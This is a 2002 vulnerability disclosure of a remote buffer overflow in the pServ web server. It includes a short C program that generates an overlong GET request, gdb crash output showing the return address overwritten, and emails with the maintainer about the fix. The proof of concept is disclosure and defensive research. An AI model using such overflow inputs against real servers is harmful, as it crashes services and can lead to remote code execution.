Title: Remote Buffer Overflow in pServ 2.0 Alpha 11.
Date: 8/16/2002
Author: Larry W. Cashdollar, @_larry0
This is an unreleased remote overflow for pServ:
Download: http://sourceforge.net/projects/pserv
It has been long since fixed, I never released it because it was alpha software which I thought would be lame to post a vuln on.
From lwc@vapid.ath.cx Sat Apr 19 06:59:09 2003
Date: Mon, 16 Sep 2002 20:57:28 -0400 (EDT)
From: Larry W. Cashdollar <lwc@vapid.ath.cx>
To: rmottola@users.sourceforge.net
Subject: buffer overflow in pserv
Here is a dump of a remote overflow in the handling of the GET request.
<-------------------------------Test program--------------------------->
#include <stdio.h>
#include <stdlib.h>
int
main (int argc, char *argv[])
{
int i;
char buffer[300];
bzero (buffer,300);
for (i = 0;i<= atoi(argv[1]);i++) buffer[i] = 'X';
for (i=0;i<=atoi(argv[2]);i++) buffer[i+atoi(argv[1])] = 'A';
printf("GET /%s HTTP/1.0\r\n",buffer);
}
<---------------------------------------------------------------------->
<-----------------------------Gdb output------------------------------->
accepted from 127.0.0.1
read error: 9
handling get of /XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
error recognizing extension: i = 19, extlen = 231
error during html [mime header] sock writing! 9
invalid out descriptor
Program received signal SIGSEGV, Segmentation fault.
0x42080b1b in strlen () from /lib/i686/libc.so.6
(gdb) where
#0 0x42080b1b in strlen () from /lib/i686/libc.so.6
#1 0x42051e4d in vfprintf () from /lib/i686/libc.so.6
#2 0x4205a197 in fprintf () from /lib/i686/libc.so.6
#3 0x0804ce6d in logWriteFileNotFound (
docPath=0x41414141 <Address 0x41414141 out of bounds>, req= {address = 'A' <repeats 16 times>, method = 'A' <repeats 16 times>, documentAddress = 'A' <repeats 44 times>, "\0", 'X' <repeats 106 times>, 'A' <repeats 81 times>, '\0' <repeats 791 times>, queryString = '\0' <repeats 1023 times>, protocolVersion = "HTTP/1.0\0\0\0\0\0\0\0", keepAlive = 0, userAgent = "NR", '\0' <repeats 253 times>, rest = '\0' <repeats 360 times>, "²L\0@\0\020\023B =\0\0\003\0\0\02\0\0\0^?^?^?^?\0\0\0\0Â\004\0\0Ã4\001@\0\0\0B\0Ã\022Bc¹\022Bc¹\022B\0\0\0\0\005\0\0\0\0Ã\022B\0\020\023B`\v\023B M\023B\0Ã\022\0\003\0\0\0Ã6\001@Ã;\001@(ë^?¿Ãf\213\0@ð=\001@°;\001@\024", '\0' <repeats 11 times>, "\024\0\0\0\0\0\0/Ã;\001@\001\0\0\0Ã\205\004\b°;\001@Ã4\001@\001\003\0\0\0\0\0\0\bì^?¿\tM\0@\005\0\0\0\005\0\0\0\bì^?¿[N\0@\001\003\0\0\0\0\0\0\0\0\0"...}) at log.c:96 #4 0x08049412 in sayError (sock=1482184792, err=1096308824,
filePath=0x41414141 <Address 0x41414141 out of bounds>, req=
{address = 'A' <repeats 16 times>, method = 'A' <repeats 16 times>, documentAddress = 'A' <repeats 44 times>, "\0", 'X' <repeats 106 times>, 'A' <repeats 81 times>, '\0' <repeats 791 times>, queryString = '\0' <repeats 1023 times>, protocolVersion = "HTTP/1.0\0\0\0\0\0\0\0", keepAlive = 0, userAgent = "NR", '\0' <repeats 253 times>, rest = '\0' <repeats 360 times>, "²L\0@\0\020\023B =\0\0\003\0\0\02\0\0\0^?^?^?^?\0\0\0\0Â\004\0\0Ã4\001@\0\0\0B\0Ã\022Bc¹\022Bc¹\022B\0\0\0\0\---Type <return> to continue, or q <return> to quit---
005\0\0\0\0Ã\022B\0\020\023B`\v\023B M\023B\0Ã\022\0\003\0\0\0Ã6\001@Ã;\001@(ë^?¿Ãf\213\0@ð=\001@°;\001@\024", '\0' <repeats 11 times>, "\024\0\0\0\0\0\0/Ã;\001@\001\0\0\0Ã\205\004\b°;\001@Ã4\001@\001\003\0\0\0\0\0\0\bì^?¿\tM\0@\005\0\0\0\005\0\0\0\bì^?¿[N\0@\001\003\0\0\0\0\0\0\0\0\0"...}) at main.c:135
#5 0x58585858 in ?? ()
Cannot access memory at address 0x58585858
(gdb)
From lwc@vapid.ath.cx Sat Apr 19 07:00:45 2003
Date: Wed, 18 Sep 2002 11:00:36 -0400 (EDT)
From: Larry W. Cashdollar <lwc@vapid.ath.cx>
To: Riccardo Mottola <multix@ngi.it>
Subject: Re: buffer overflow in pserv
Nice work!
On Wed, 18 Sep 2002, Riccardo Mottola wrote:
> Hello Larry,
>
> I found the buffer overflow you pinpointed. It was hard work! I was checking
> all my code, when I noticed... I used a too small buffer when writing the
> error responsse through the socket! I was returning the whole "wrong header"
> which... didn't fit in the standard buffer. Now it should work.
> By ooking for your bug I also hardened the ?query-string part of the header:
> on one side i was wasting half of the buffer risking another overflow for a
> long cgi query, on the otherside I now trap the error and send pack an error
> page so the client (as usually browsers do) stop trying.
> I just noticed that opera isn't capable of sending a "too long" line, ti
> truncates it! So I needed another browser to stimulate it better.
> Hope all got a stp further. The current release is alpha 11; the bug fix
> will come out in alpha 12 (likely tomorrow) which, if no other reports come
> in, is candidate for beta 1. I have to test a bit alpha12 since I changed
> some details and will make some regression-tests before releasing.
>
> Regards,
> Riccardo
>
>